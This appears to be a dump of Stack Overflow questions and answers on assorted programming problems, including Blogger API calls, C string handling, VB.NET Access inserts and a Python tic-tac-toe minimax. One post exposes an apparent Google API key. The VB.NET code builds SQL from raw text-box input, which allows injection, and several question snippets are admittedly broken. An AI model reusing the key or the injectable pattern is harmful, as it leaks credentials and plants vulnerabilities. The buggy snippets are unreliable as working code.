it?</p> <p><strong>Update:</strong></p> <p>So I tried to create the directory but I am being told that I don't have permission even though the documentation says I can write to the tmp.</p> <blockquote> <p>Unable to create directory Error Domain=NSCocoaErrorDomain Code=513 "You don’t have permission to save the file “today.docx” in the folder “bulltin”." UserInfo={NSFilePath=/tmp/bulltin/today.docx, NSUnderlyingError=0x1702498a0 {Error Domain=NSPOSIXErrorDomain Code=1 "Operation not permitted"}}</p> </blockquote> <p>This is the code for creating the directory:</p> <pre><code> do { try NSFileManager.defaultManager().createDirectoryAtPath(localURL.path!, withIntermediateDirectories: true, attributes: nil) } catch let error as NSError { NSLog("Unable to create directory \(error.debugDescription)") } </code></pre>
39103868	0	Xamarin iOS project need suggestion <p>I am developing a survey app using Xamarin and Mvvmcross. Can some one help with suggesting a way to build a View to display questionnaire. These questionnaire will be supplying from my View Model as a List of question with Question Text, Answer options. Based on a flag I need to prompt the questionnaire with input type as drop down or Text boxes. Number of questions can be vary.</p> <p>In Android I achieved it using MvxGridView and Layout templates. But not sure how to do it in iOS.</p>
18716263	0	Blogger API v.3 - can't transfer the data to the post (javascript) <p>New post created with out data - <a href="http://yatsynych.blogspot.com/" rel="nofollow">http://yatsynych.blogspot.com/</a>. Problem on object body_data?</p> <p>My source:</p> <pre><code>function makeApiCallBlogger() { gapi.client.setApiKey('AIzaSyDFnBwpKVqjMm9NJ4L0Up5Y_bYpsaJdC6I'); gapi.client.load('blogger', 'v3', function() { var body_data = { "kind": "blogger#post", "blog": { "id": "********" }, "title": "A new post", "content": "With &lt;b&gt;exciting&lt;/b&gt; content..." } var request = gapi.client.blogger.posts.insert({ "blogId": '********', "body": body_data}); request.execute(function(response) { alert(response.toSource()); }); }); } </code></pre>
37327688	0	 <p>You're using Spark 1.3.0 and Python version of <code>createDirectStream</code> has been introduced in Spark 1.4.0. Spark 1.3 provides only Scala and Java implementations.</p> <p>If you want to use direct stream you'll have to update your Spark installation. </p>
10951894	0	 <p>You shouldn't be storing all that HTML in the database. Only store the <em>data</em> in the database. I'm not sure whats going on exactly since I don't understand that language but you should be storing each of those numbers in a column in your database and the querying for them in PHP. You will have a variable for each of those numbers and then you print those out in your table format. Something as simple as the line below will work:</p> <pre><code>&lt;tr&gt;&lt;td&gt; &lt;/td&gt; &lt;td align='right'&gt;&lt;?php echo $variable_name; ?&gt;&lt;/td&gt;&lt;/tr&gt; </code></pre>
22677583	0	 <p>You probably want to pad it with 0 bytes. Fill your newtitle buffer with zeroes before copying the string into it, then write that buffer to the file:</p> <pre><code>char newtitle[80]; memset(newtitle, '\0', 80); strncpy(newtitle, title, 80); fwrite(newtitle, sizeof(char), 80, fp); </code></pre> <p>You can pass whatever ASCII character you want into memset(), to pad it with. But with binary files you'll generally use <code>'\0'</code>.</p>
16022220	0	Reverse words in C Language <p>I'm trying to reverse the letters for words in a sentence. I am also trying to store these words in a new char array. At the moment I getting a runtime error, which for all my tweaking I can not solve. My approach is to create a new char array the same length as the sentence. Then loop through the sentence until I reach a ' ' character. Then loop backwards and add these characters to a word. Then add the word to the new Sentence. Any help would be much appreciated.</p> <pre><code>int main(void) { char sentence [] = "this is a sentence"; char *newSentence = malloc(strlen(sentence)+1); int i,j,start; start = 0; for(i = 0; i &lt;= strlen(sentence); i++) { if(sentence[i] == ' ') { char *word = malloc((i - start)+1); for(j = sentence[i]; j &gt;= start; j--) { word[j] = sentence[j]; } strcat(newSentence,word); start =sentence[i +1]; } } printf("%s",newSentence); return 0; } </code></pre>
31841491	0	 <p>Use a symlink.</p> <pre><code># Move current storage folder to where you want it to be mv storage ../storage # Create a symlink to this new location ln -s ../storage ./storage </code></pre>
31176091	0	 <p>A solution with the <code>data.table</code> package:</p> <pre><code>require(data.table) df &lt;- data.table(CLNCL_TRIAL_ID = c(89794, 89794,8613, 8613), SITE_ID = c(12456, 12456, 100341, 30807)) df[,length(unique(SITE_ID)),by=CLNCL_TRIAL_ID] </code></pre> <p>Produces</p> <pre><code> CLNCL_TRIAL_ID V1 1: 89794 1 2: 8613 2 </code></pre>
3333923	0	 <p>You defined the variable <code>masterTable</code> but are accessing it with lowercase <code>mastertable</code>?</p>
37446529	0	 <p>You can't force something to be synchronous if it goes outside of the event loop like an ajax call. You're going to need something that looks like this:</p> <pre><code>PlanLineActions.calculateFlightEndDate(periodTypeId, numberOfPeriods, momentTimeUnix) .then(endDate =&gt; { this.theNextSyncFunction(..., ..., ...); }) </code></pre> <p>In order to do this, <code>calculateFlightEndDate</code> will also need to return a promise, and thus it's a good thing that promises are chainable.</p> <pre><code>calculateFlightEndDate(periodTypeId, numberOfPeriods, startDate) { let plan = new Plan(); // return promise! return plan.getFlightEndDate(periodTypeId, numberOfPeriods, startDate).then(response =&gt; { return response.EndDate; // must return here }, error =&gt; { log.debug("There was an error calculating the End Date."); }); } </code></pre> <p>That should do it.. and one more thing: you're doubling up on promises in your server call. If something has <code>.then</code> it's already a promise, so you can just return that directly. no need to wrap in <code>new Promise</code> (a promise in a promise.. no need!)</p> <pre><code>callServer(path, method = "GET", query = {}, data, inject) { // just return! return super.callServer(uri.toString(),method,data,inject).then((data) =&gt; { return data; }).catch((data) =&gt; { if (data.status === 401) { AppActions.doRefresh(); } throw data; // throw instead of reject }); } </code></pre>
38503076	0	 <p>Try this code</p> <pre><code>$('input').each(function(){ self = $(this) if(!self.val()){ require(self); } }); function require(that){ console.log('Please fill in ' +that.data('validate-msg') + '.'); } </code></pre>
28489982	0	Set range and define named range in VBA <p>I am trying to define a named range (with Workbook scope) in VBA based on certain inputs to help figure out the cells that should be included in the range. To make it really simple, I have tried the following two with the errors indicated below. A, B, X, Y are found from some calculations</p> <pre><code>rName = &lt;some string that decides the name&gt; Set TempRng = .Range(.Cells(A,B), .Cells(X,Y)) ActiveWorkbook.Names.Add Name:=rName, RefersTo:=Worksheets("Sheet1").TempRng </code></pre> <p>This gives me an "object or method not supported" error or something like that, on the Set TempRng line.</p> <pre><code>rName = &lt;string ...&gt; Set TempRng = Worksheets("Sheet1").Range(Cells(A,B), Cells(X,Y)) ActiveWorkbook.Names.Add Name:=rName, RefersTo:= &lt;blah blah...&gt; </code></pre> <p>This gives me an "application defined or object defined error" on the same line.</p> <p>Can you please help me find the correct way to define this range?</p>
17725714	0	Nested MySQL select error <p>I'm trying to make the following transaction work, but the I get a mysql error near SELECT. I've double-checked that all column names are correct.</p> <p><strong>Error message</strong></p> <blockquote> <p>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'INSERT INTO articles (catid,content,title,keywords,isactive) (SELEC' at line 2</p> </blockquote> <p><strong>SQL</strong></p> <pre><code>START TRANSACTION; INSERT INTO articles (catid,content,title,keywords,isactive) (SELECT 1, pendingarticles.content, pendingarticles.title, pendingarticles.keywords, 1 FROM pendingarticles WHERE pendingarticles.id=1); DELETE FROM pendingarticles WHERE id=1; COMMIT; </code></pre> <p><strong>UPDATE</strong></p> <p>The code itself works. Both the INSERT INTO - SELECT part, and the DELETE part. Something's wrong with the transaction. Perhaps <code>;</code>? Or my db server can't do transactions? </p>
19429888	0	how to find identical columns in different tables <p>I have two tables each with multiple columns.</p> <pre><code>+------+-------+--+ | Col1 | Col2 | | +------+-------+--+ | 1 | 1231 | | | 2 | 123 | |table 1 | 3 | 14124 | | +------+-------+--+ +------+-------+--+ | Col3 | Col4 | |table 2 +------+-------+--+ | 1 | 1231 | | | 2 | 323 | | | 3 | 14324 | | +------+-------+--+ </code></pre> <p>I want to check is if <code>col1</code> and <code>col3</code> are identical. That is: all the values match, to be determined using sql?</p> <p>I dont want to use <code>except</code> and also I don't want to take difference of the two columns and check if its zero.</p> <p>Is there a more efficient way to do this?</p>
21546802	0	 <p>You just need to change the value of size. You have assigned 1480. Please change it to 7 or less than 7 or you can just remove size from select statement That is the reason. It wont show the selected value till the time it completes its size , which according to your code is 1480. Just change its value and execute again. Good luck</p>
31552598	0	Remove Query String from Rootdomain <p>I know with a simple redirect one (Sub-)Domain or Folder to another i can get rid of a string like this</p> <pre><code>RewriteEngine On RewriteRule (.*) http://www.domain.tld/? [R=301,L] </code></pre> <p>I know how to get rid of it when it is a simple file too.</p> <p>But when it comes to the Rootdomain itself (<a href="http://domain.tld/?Stringwhatsoever" rel="nofollow">http://domain.tld/?Stringwhatsoever</a>), i am at a loss here. My last try used a modified version of a redirect I used to redirect files and folders around and that worked pretty nicely and also removed the query, but it ended up in a redirection error.</p> <pre><code>RewriteRule ^ http://domain.tld/? [L,NC,R=301] </code></pre> <p>So i have no clue how to get rid of Query Strings at urls without breaking it.</p>
15843558	0	 <p>As per Sams comment... Readthedocs has the working example: <a href="http://zf2.readthedocs.org/en/latest/modules/zend.view.helpers.html#headtitle-helper" rel="nofollow">http://zf2.readthedocs.org/en/latest/modules/zend.view.helpers.html#headtitle-helper</a></p> <p>Thanks for your help Sam!</p>
38932157	0	 <p>Your code is a beginning, but doesn't fill all values. You should <em>nest</em> your for-loops, and only fill the left part. The right entry can then be mirrored from the left entry. Try this:</p> <pre><code>public static void main(String[] args) { int[][] table = new int[5][8]; for (int row = 0; row &lt; 5; row++) { for (int column = 0; column &lt; 4; column++) { // left side entry [row][0..3] // each entry is 5 more than the entry left of it table[row][column] = column * 5 + row + 1; // right side entry [row][7..4] mirrored from corresponding entry [row][0..3] // i.e. column 7 &lt;- column 0, column 6 &lt;- column 1, etc. table[row][7 - column] = table[row][column]; } } for (int row = 0; row &lt; 5; row++) { for (int column = 0; column &lt; 8; column++) { System.out.format("%4d", table[row][column]); } System.out.println(); } } </code></pre> <p>Output:</p> <pre><code> 1 6 11 16 16 11 6 1 2 7 12 17 17 12 7 2 3 8 13 18 18 13 8 3 4 9 14 19 19 14 9 4 5 10 15 20 20 15 10 5 </code></pre>
36068945	0	 <p>Not sure what your exact goal is, but I can think of two approaches to accomplish this without compiling:</p> <p>1) Split up the values like so:</p> <pre><code>&lt;div ng-repeat="string in myStrings"&gt; &lt;p&gt;{{string}}{{mathValue}}&lt;/p&gt; &lt;/div&gt; </code></pre> <p>in controller:</p> <pre><code>$scope.mathValue = 2+2; </code></pre> <p>2) Use a function to return the string (I like using this anytime I'm doing anything binding that is non-trivial):</p> <pre><code>&lt;div ng-repeat="string in myStrings"&gt; &lt;p&gt;{{stringFunction()}}&lt;/p&gt; &lt;/div&gt; </code></pre> <p>in controller:</p> <pre><code>$scope.mathValue = 2+2; $scope.stringFunction = function() { return 'I want to count to 4 via angular: '+$scope.mathValue; }; </code></pre>
27584236	0	Splitting equation made of NSString with NSRegularExpression and finding left side of Equation <p>I have a string such as below in my application:</p> <pre><code> b=c+32 </code></pre> <p>I parse the string using below code snippet to split it to b,=,c,+,32. That works fine. However I need to know which variable is left side of the "=" operator. This variable always comes first in the expression. Is there a way in NSRegularExpressions to give me index of the results so I can compare them to see what's left side of "=". If there's a better match that would give me the first element I would settle for that too.</p> <p>Here's the code to split them.</p> <pre><code> NSString * textpattern = @"[A-Za-z]+"; NSString * numberpattern = @"[0-9]+"; NSString * opPattern = @"[-+/*]"; NSString * copPattern = @"="; NSRegularExpression * reg = [NSRegularExpression regularExpressionWithPattern: @"(\\d+\\.\\d+)|(\\d+)|([a-z])|([+-/*=///^])|([/(/)])" options:0 error:nil]; NSArray *matches = [ reg matchesInString: exp options: 0 range:NSMakeRange(0, [exp length])]; for (NSTextCheckingResult *match in matches) { NSString* text = [exp substringWithRange:[match range]]; NSMutableDictionary *term = [NSMutableDictionary new]; if ([text doesMatchRegStringExp:textpattern]) { NSLog(@"variable"); [term setObject:@"variable" forKey:@"name"]; } else if ([text doesMatchRegStringExp:numberpattern]) { NSLog(@"number"); [term setObject:@"number" forKey:@"name"]; } else if ([text doesMatchRegStringExp:opPattern]) { NSLog(@"op"); [term setObject:@"op" forKey:@"name"]; } else if ([text doesMatchRegStringExp:copPattern]) { NSLog(@"cop"); [term setObject:@"cop" forKey:@"name"]; } else { [term setObject:@"other" forKey:@"name"]; } } // NSString+RegExpExtensions.h #import &lt;Foundation/Foundation.h&gt; @interface NSString (RegExpExtensions) - (BOOL)doesMatchRegStringExp:(NSString *)string; @end #import "NSString+RegExpExtensions.h" @implementation NSString (RegExpExtensions) - (BOOL)doesMatchRegStringExp:(NSString *)string { NSPredicate *regExpPredicate = [NSPredicate predicateWithFormat:@"SELF MATCHES %@", string]; return [regExpPredicate evaluateWithObject:self]; } @end </code></pre> <p>Thank you. </p>
40314623	0	Method that returns DataReader -- will it cause resource leaks? <p>Say I have the following code:</p> <pre><code>private AdomdDataReader ExecuteReader(string query) { var conn = new AdomdConnection(ConnectionString); conn.Open(); var cmd = new AdomdCommand(query, conn); cmd.Parameters.Add("Foo", "Bar"); return cmd.ExecuteReader(CommandBehavior.CloseConnection); } </code></pre> <p>Then in usage, you'd wrap the reader in a <code>using</code> statement:</p> <pre><code>using (var reader = ExecuteReader("...")) ... </code></pre> <p>This would be in contrast to manually opening a connection and executing a reader each time:</p> <pre><code>using(var conn = new AdomdConnection(ConnectionString)) { conn.Open(); using(var cmd = new AdomdCommand(query, conn)) { cmd.Parameters.Add("Foo", "Bar"); var reader = cmd.ExecuteReader(CommandBehavior.CloseConnection); ... } } </code></pre> <p>So I'm basically just trying to reduce boilerplate for reading many similar queries from a database. Am I exposing myself to resource leaks by doing so?</p>
12746372	0	TDD for a new Java application - Where should I start? <p><strong>Goal</strong> : testing TDD in a typical enterprise Java environment.</p> <p><strong>Context :</strong></p> <p>Frameworks used (even if it's overkill, I practice <a href="http://www.scotthyoung.com/blog/2008/05/05/use-projects-to-educate-yourself-for-free/" rel="nofollow">project based learning</a>) :</p> <ul> <li>DAO : Hibernate</li> <li>Spring IoC</li> <li>Front : Spring MVC + Twitter Boostrap (if possible)</li> <li>TDD : JUnit</li> <li>DB : PostgreSQL</li> </ul> <p>My project is a simple billing system which would help freelancers create, edit and print/send bills to customers.</p> <p>Once my project is created and configured, I don't know where to start. Let's say my first my first feature is to create a bill with a unique number and a title.</p> <p><strong>Question</strong> : What should I test first ?</p> <ul> <li>the Domain layer with a createBill(String title) method which would generate a unique Serial Number ? I'd mock the DB layer.</li> <li>the UI first, mocking the service layer ? I don't know how to do it.</li> </ul> <p>Thanks in advance for your answers,</p> <p>Cheers</p>
38359039	1	python - minimax algorithm for tic tac toe updating the board by filling every empty space with the same symbol <p>I have been trying to improve my understanding of python by programming small games, such as tic tac toe. I created a copy of the game from scratch, but then went off to find a way of creating a reasonable ai for the game. I decided to use minimax to achieve this goal. I found a tutorial for the algorithm and attempted to mould it for the game. </p> <p>However when the code is run, on the ai's first turn. Every empty space left on the board is filled with the same symbol, forcing a win, making the game unplayable.</p> <p>As I was unfamiliar and inexperienced with the algorithm, I took the code from a youtube tutorial and edited it so that it was functional for the game. </p> <p>Here is the code</p> <pre><code>import random import time import sys from sys import maxsize #converts numbers from the board to X O and "" for printing out the board def numToSymbol(board): visual = board for i in range(0, 9): if visual[i] == -1: visual[i]= "X" elif visual[i] == 1: visual[i] = "O" elif visual[i] == 0: visual[i] = " " return visual def symbolToNum(visual): board = visual for i in range(0, 9): if board[i] == "X": board[i] = -1 elif board[i] == "O": board[i] = 1 elif board[i] == " ": board[i] = 0 return board # prints the board, first coverting numbers throught numtoSymbol def drawBoard(): visual = numToSymbol(board) print( "|"+ str(visual[0]) + "|" + str(visual[1]) + "|" + str(visual[2]) + "| \n" "-------\n" "|"+ str(visual[3]) + "|" + str(visual[4]) + "|" + str(visual[5]) + "| \n" "-------\n" "|"+ str(visual[6]) + "|" + str(visual[7]) + "|" + str(visual[8]) + "| \n" "-------") symbolToNum(visual) # checks the possible options for 3 in a row and if any are all held by one side returns true def checkWin(board, winConditions, ai): if ai == True: win = 3 if ai == False: win = -3 for row in winConditions: checkA = board[row[0]] checkB = board[row[1]] checkC = board[row[2]] if checkA + checkB + checkC == int(win): return True return False def checkDraw(board): emptyTile = 9 for tile in board: if tile != 0: emptyTile -= 1 if emptyTile == 0: completion(2) def availableMoves(board, bonus): availableSlots = [] for position in range(0,9): if board[position] == 0: availableSlots.append(position + bonus) return availableSlots def playerTurn(board, remainingTurns): board = board checkDraw(board) visual =drawBoard() print("pick one of the available slots \n") availableSlots = availableMoves(board, 1) print(availableSlots) choice = int(input('Select a tile from those shown above:\n')) -1 while True: if 0 &lt;= choice &lt;= 8: if board[choice] == 0: board[choice] = -1 break else: choice = int(input('Select a tile from those shown above which has not already been selected:\n')) -1 else: choice = int(input('Select a tile from those shown above:\n')) -1 visual = drawBoard() if checkWin(board, winConditions, False) == True: completion(0) else: aiTurn(board, remainingTurns - 1) class Node(object): def __init__(self, remainingTurns, playerNum, board, value = 0): self.depth = remainingTurns self.playerNum = playerNum self.board = board self.value = value self.moves = availableMoves(self.board, 0) self.children = [] self.createChildren() def availableMoves(self, board): self.availableSlots = [] for position in range(0,9): if board[position] == 0: availableSlots.append(position) return self.availableSlots def winCheck(self, state, playerNum): self.winConditions = [[0, 1, 2],[3, 4, 5],[6, 7, 8],[0, 3, 6],[1, 4, 7],[2, 5, 8],[0, 4, 8],[2, 4, 6]] self.win = 3 for row in self.winConditions: self.checkA = self.state[row[0]] self.checkB = self.state[row[1]] self.checkC = self.state[row[2]] if self.checkA + self.checkB + self.checkC == int(self.win * self.playerNum): return True return False def createChildren(self): if self.depth &gt; 0: for i in self.moves: self.state = self.board self.state[i] = self.playerNum print(board) self.children.append(Node(self.depth - 1, self.playerNum * -1, self.state, self.realVal(self.state, self.playerNum) )) def realVal(self, value, playerNum): value = self.winCheck(self.state, self.playerNum) if value == True: return maxsize * self.playerNum else: return 0 def minimax(node, depth, playerNum): if depth == 0 or abs(node.value) == maxsize: return node.value bestValue = maxsize * -playerNum for i in range(len(node.children)): child = node.children[i] val = minimax(child, depth - 1, -playerNum) if (abs(maxsize * playerNum - val) &lt; abs(maxsize * playerNum - bestValue)): bestValue = val return bestValue def aiTurn(board, remainingTurns): checkDraw(board) print('Waiting for ai') time.sleep(2) board = board state = board currentPlayer = 1 tree = Node(remainingTurns, currentPlayer, state) bestChoice = -100 bestValue = maxsize * -1 for i in range(len(tree.children)): n_child = tree.children[i] i_val = minimax(n_child, remainingTurns, -currentPlayer,) if (abs(currentPlayer * maxsize - i_val) &lt;= abs(currentPlayer * maxsize - bestValue)): bestValue = i_val bestChoice = i print(bestChoice) print(board) #choice = minimax(tree, remainingTurns, 1) board[bestChoice] = 1 print(board) if checkWin(board, winConditions, True) == True: completion(1) else: playerTurn(board, remainingTurns - 1) def completion(state): if state == 1: print('The computer has won this game.') choice = str(input('press y if you would like to play another game; Press n if you would not \n')) if choice == 'y' or choice == 'Y': playGame() else: sys.exit() if state == 0: print('you win!') choice = str(input('press y if you would like to play another game; Press n if you would not \n')) if choice == 'y' or choice == 'Y': playGame() else: sys.exit() if state == 2: print('you drew') choice = str(input('press y if you would like to play another game; Press n if you would not \n')) if choice == 'y' or choice == 'Y': playGame() else: sys.exit() def playGame(): global board board = [0,0,0,0,0,0,0,0,0] global winConditions winConditions = [ [0, 1, 2], [3, 4, 5], [6, 7, 8], [0, 3, 6], [1, 4, 7], [2, 5, 8], [0, 4, 8], [2, 4, 6] ] global remainingTurns remainingTurns = 9 playerFirst = random.choice([True, False]) if playerFirst == True: playerTurn(board, remainingTurns) else: aiTurn(board, remainingTurns) if __name__ == '__main__': playGame() </code></pre> <p>This is the output from the above code</p> <pre><code>[1, 0, 0, 0, 0, 0, 0, 0, 0] [1, -1, 0, 0, 0, 0, 0, 0, 0] [1, -1, 1, 0, 0, 0, 0, 0, 0] [1, -1, 1, -1, 0, 0, 0, 0, 0] [1, -1, 1, -1, 1, 0, 0, 0, 0] [1, -1, 1, -1, 1, -1, 0, 0, 0] [1, -1, 1, -1, 1, -1, 1, 0, 0] [1, -1, 1, -1, 1, -1, 1, -1, 0] [1, -1, 1, -1, 1, -1, 1, -1, 1] [1, -1, 1, -1, 1, -1, 1, -1, -1] [1, -1, 1, -1, 1, -1, 1, 1, -1] [1, -1, 1, -1, 1, -1, 1, 1, 1] [1, -1, 1, -1, 1, -1, -1, 1, 1] [1, -1, 1, -1, 1, -1, -1, -1, 1] [1, -1, 1, -1, 1, -1, -1, -1, -1 [1, -1, 1, -1, 1, 1, -1, -1, -1] [1, -1, 1, -1, 1, 1, 1, -1, -1] [1, -1, 1, -1, 1, 1, 1, 1, -1] [1, -1, 1, -1, 1, 1, 1, 1, 1] [1, -1, 1, -1, -1, 1, 1, 1, 1] [1, -1, 1, -1, -1, -1, 1, 1, 1] [1, -1, 1, -1, -1, -1, -1, 1, 1] [1, -1, 1, -1, -1, -1, -1, -1, 1 [1, -1, 1, -1, -1, -1, -1, -1, - [1, -1, 1, 1, -1, -1, -1, -1, -1 [1, -1, 1, 1, 1, -1, -1, -1, -1] [1, -1, 1, 1, 1, 1, -1, -1, -1] [1, -1, 1, 1, 1, 1, 1, -1, -1] [1, -1, 1, 1, 1, 1, 1, 1, -1] [1, -1, 1, 1, 1, 1, 1, 1, 1] [1, -1, -1, 1, 1, 1, 1, 1, 1] [1, -1, -1, -1, 1, 1, 1, 1, 1] [1, -1, -1, -1, -1, 1, 1, 1, 1] [1, -1, -1, -1, -1, -1, 1, 1, 1] [1, -1, -1, -1, -1, -1, -1, 1, 1 [1, -1, -1, -1, -1, -1, -1, -1, [1, -1, -1, -1, -1, -1, -1, -1, [1, 1, -1, -1, -1, -1, -1, -1, - [1, 1, 1, -1, -1, -1, -1, -1, -1 [1, 1, 1, 1, -1, -1, -1, -1, -1] [1, 1, 1, 1, 1, -1, -1, -1, -1] [1, 1, 1, 1, 1, 1, -1, -1, -1] [1, 1, 1, 1, 1, 1, 1, -1, -1] [1, 1, 1, 1, 1, 1, 1, 1, -1] [1, 1, 1, 1, 1, 1, 1, 1, 1] 8 [1, 1, 1, 1, 1, 1, 1, 1, 1] [1, 1, 1, 1, 1, 1, 1, 1, 1] The computer has won this game. </code></pre> <p>Any suggestions?</p>
26614215	0	 <p>Open JDK version 1.7.0_09 do not have this package. JDK by Oracle has this package.</p>
2996559	0	 <p>You can use <code>unsafe</code> and pointers. But your particular case would say a bit more about what direction you should head.</p>
39872775	0	In Android Studio how to create jar Including other jar libraries <p>In android studio, i'm trying to create .jar file of my library and it contains another .jar dependancies. After adding created .jar file to another project and run it gives me </p> <pre><code>java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{in.co.xyz.MyLibrary/in.co.xyz.MyLibrary.MainActivity}: java.lang.ClassNotFoundException: Didn't find class "in.co.xyz.MyLibrary.MainActivity" on path: DexPathList[[zip file "/data/app/in.co.xyz.MyLibrary-1/base.apk"],nativeLibraryDirectories=[/vendor/lib, /system/lib]] </code></pre> <p>how to fix this issue, please help me</p>
22912056	0	Can't save data to Access Database <p>I learnt this programming from other sources, and I also downloaded his file to test is it works. I did everything same with him, but mine is not works and not coming out any errors. Could any senior help me to do some correction or debug.</p> <p>This is my code:</p> <pre><code>Dim Command As New OleDb.OleDbCommand Dim Adapter As New OleDb.OleDbDataAdapter Dim Connection As OleDb.OleDbConnection = AConnection() Public Function AConnection() As OleDb.OleDbConnection Return New OleDb.OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &amp; Application.StartupPath &amp; "\Music_Sales_Database.mdb") End Function Private Sub SendCustomerInformationToDatabase() Connection.Open() With Command .Connection = Connection .CommandText = "INSERT into Customer(Customer_ID,First_Name,Last_Name,Contact_Number,Email_Address) " &amp; _ "Values('" &amp; txtCustomerID.Text &amp; "','" &amp; txtFirstName.Text &amp; "','" &amp; txtLastName.Text &amp; "','" &amp; txtContactNumber.Text &amp; "','" &amp; _ "','" &amp; txtEMail.Text &amp; "')" End With Connection.Close() End Sub Private Sub CheckOut_Reservation_Load(sender As Object, e As EventArgs) Handles MyBase.Load txtDateOfReservation.Text = Date.Today txtCustomerID.Focus() InputText = txtContactNumber.Text NumericCheck = IsNumeric(InputText) Connection.Open() With Command .Connection = Connection .CommandText = "SELECT * from Customer" End With Dim Table As New DataTable Adapter.SelectCommand = Command Adapter.Fill(Table) Connection.Close() Adapter.Dispose() End Sub Private Sub btnSubmit_Click(sender As Object, e As EventArgs) Handles btnSubmit.Click SendCustomerInformationToDatabase() Dim CheckOutSound As String Dim path = System.Windows.Forms.Application.StartupPath Dim MyPlayer As New SoundPlayer() CheckOutSound = "\Success.wav" MyPlayer.SoundLocation = path &amp; CheckOutSound MyPlayer.Play() If AInputCorrect = True And BInputCorrect = True And CInputCorrect = True And DInputCorrect = True And EInputCorrect = True Then FInputCorrect = True Else FInputCorrect = False End If If FInputCorrect = True Then MessageBox.Show("Reservation Submitted.", "Reservation Successful", MessageBoxButtons.OK, MessageBoxIcon.None) End If If FInputCorrect = False Then MessageBox.Show("Please check your Customer Information and try again.", "Reservation Failed", MessageBoxButtons.OK, MessageBoxIcon.Asterisk) End If 'Me.Close() End Sub </code></pre> <p>Thank You</p>
19559568	0	 <p>To delete a row/cell from table view, you need to call the <code>deleteRowsAtIndexPaths:withRowAnimation:</code> method on your <code>UITableView</code> instance. </p> <pre><code>NSIndexPath *previousPath = [NSIndexPath indexPathForRow:selectedRowIndex1.integerValue-1 inSection:0]; [self.yourTableView deleteRowsAtIndexPaths:[NSArray arrayWithObject:previousPath] withRowAnimation:UITableViewRowAnimationFade]; </code></pre> <p>This will update the UI, but remember to remove that row from your data source as well. This will ensure it is deleted completely.</p> <p>Hope that helps!</p>
24007232	0	 <p>Sure, the function like <code>sprintf</code> is <code>sprintf</code>. You can put functions in the stash and call them from TT, and if you want them to be available all the time you can add them to the <code>TEMPLATE_VARS</code> in your view.</p>
19390606	0	Authenticate with LinkedIn api using javascript issues <p>Using the Linkedin Tutorial, I'm trying to login to LinkedIn using Javascript.</p> <p>The issue I have: using firebug for verification I realize that the http request does not show errors, but the LinkedIn Button is not rendered and the http response is:</p> <pre><code>(function(){ var r=("true" === "false"), a=("false" === "false"), h=[], e=("false" === "true"); var p="${SCOPE_NAME}"; var s=("SCOPE_VALID" === "SCOPE_INVALID"), n=("SCOPE_VALID" === "SCOPE_NOT_AUTHORIZED"), d=("SCOPE_VALID" === "SCOPE_DISABLED"); if(e){ throw new Error("An error occurred."); } else if (!a) { throw new Error("API Key is invalid"); } else if (s) { throw new Error("Scope parameter is invalid: " + p); } else if (n) { throw new Error("Scope parameter is not authorized: " + p); } else if (d) { throw new Error("Scope parameter is disabled: " + p); } else if (h.length == 0) { throw new Error("You must specify a valid JavaScript API Domain as part of this key's configuration."); } else if (!r) { throw new Error("JavaScript API Domain is restricted to "+h.join(", ")); } else { throw new Error("Unknown Error"); } })(); </code></pre> <p>Can you assist me in solving this issue?</p>
31132179	0	Symfony join with many to many <p>I would like to know how can I Make a join into another join.</p> <p>My QueryBuilder</p> <pre><code>return $this-&gt;createQueryBuilder("t") -&gt;leftjoin("t.playlist","p","WITH","p.genres=:genreP") -&gt;setParameter(":genreP",$genre) -&gt;addSelect("p") -&gt;getQuery() -&gt;getResult() ; </code></pre> <p>I had this error: [Semantical Error] line 0, col 170 near 'genres=:genreP': Error: Invalid PathExpression. StateFieldPathExpression or SingleValuedAssociationField expected.</p> <p>What I am trying to do:</p> <p>I have the <strong>Trending</strong> entity that has a relation OneToOne to the <strong>Playlist</strong> entity.The <strong>playlist</strong> entity has a relation ManyToMany to the <strong>Genre</strong> entity.</p> <p>The trending entity:</p> <pre><code>class Trending { /** * @var integer * * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="AUTO") */ private $id; /** *@ORM\OneToOne(targetEntity="Song", inversedBy="trending") */ private $song; /** *@ORM\OneToOne(targetEntity="Album", inversedBy="trending") */ private $album; /** *@ORM\OneToOne(targetEntity="Playlist", inversedBy="trending") */ private $playlist; } </code></pre> <p>The playlist entity</p> <pre><code>class Playlist { /** * @var integer * * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="AUTO") */ private $id; /** * @var string * * @ORM\Column(name="titre", type="string", length=255) */ private $titre; /** * @ORM\Column(name="public", type="boolean") */ private $public = true; /** *@ORM\ManyToOne(targetEntity="user", inversedBy="playlists") *@ORM\joinColumn(nullable=false) */ private $user; /** *@ORM\ManyToMany(targetEntity="Song", inversedBy="playlists") *@ORM\joinColumn(nullable=false) */ private $songs; /** *@ORM\ManyToMany(targetEntity="Genre", inversedBy="playlists") */ private $genres; /** *@ORM\OneToOne(targetEntity="Image", cascade={"persist","remove","refresh"}) */ private $image; /** *@ORM\ManyToMany(targetEntity="user", inversedBy="playlistLikes") *@ORM\JoinTable(name="playlist_likes") */ private $likes; /** *@ORM\Column(name="played", type="integer") */ private $played; /** *@ORM\ManyToMany(targetEntity="user", inversedBy="playlistDislikes") *@ORM\JoinTable(name="playlist_dislikes") */ private $dislikes; /** *@ORM\Column(name="description", type="text", nullable=true) */ private $description; /** *@ORM\ManyToMany(targetEntity="Langue", inversedBy="playlist") */ private $languages; /** *@ORM\Column(name="lien", type="string", length=255) */ private $lien; /** *@ORM\OneToOne(targetEntity="Trending", mappedBy="playlist", cascade= {"persist","remove"}) */ private $trending; } </code></pre> <p>The </p> <p>Trending table</p> <pre><code>id | playlist_id | song_id | album_id 54 | 9 | null | null </code></pre> <p>The playlist table</p> <pre><code>id | title 9 | My best </code></pre> <p>The playlist_genre table</p> <pre><code>playlist_id | genre_id 9 | 1 9 | 4 </code></pre> <p>The genre table</p> <pre><code>id | name 1 | Hip Hop 2 | Konpa 3 | Electronic 4 | Reggae </code></pre> <p>I would like to select any playlist where the genre_id is 4.</p> <p>Thanks.</p>
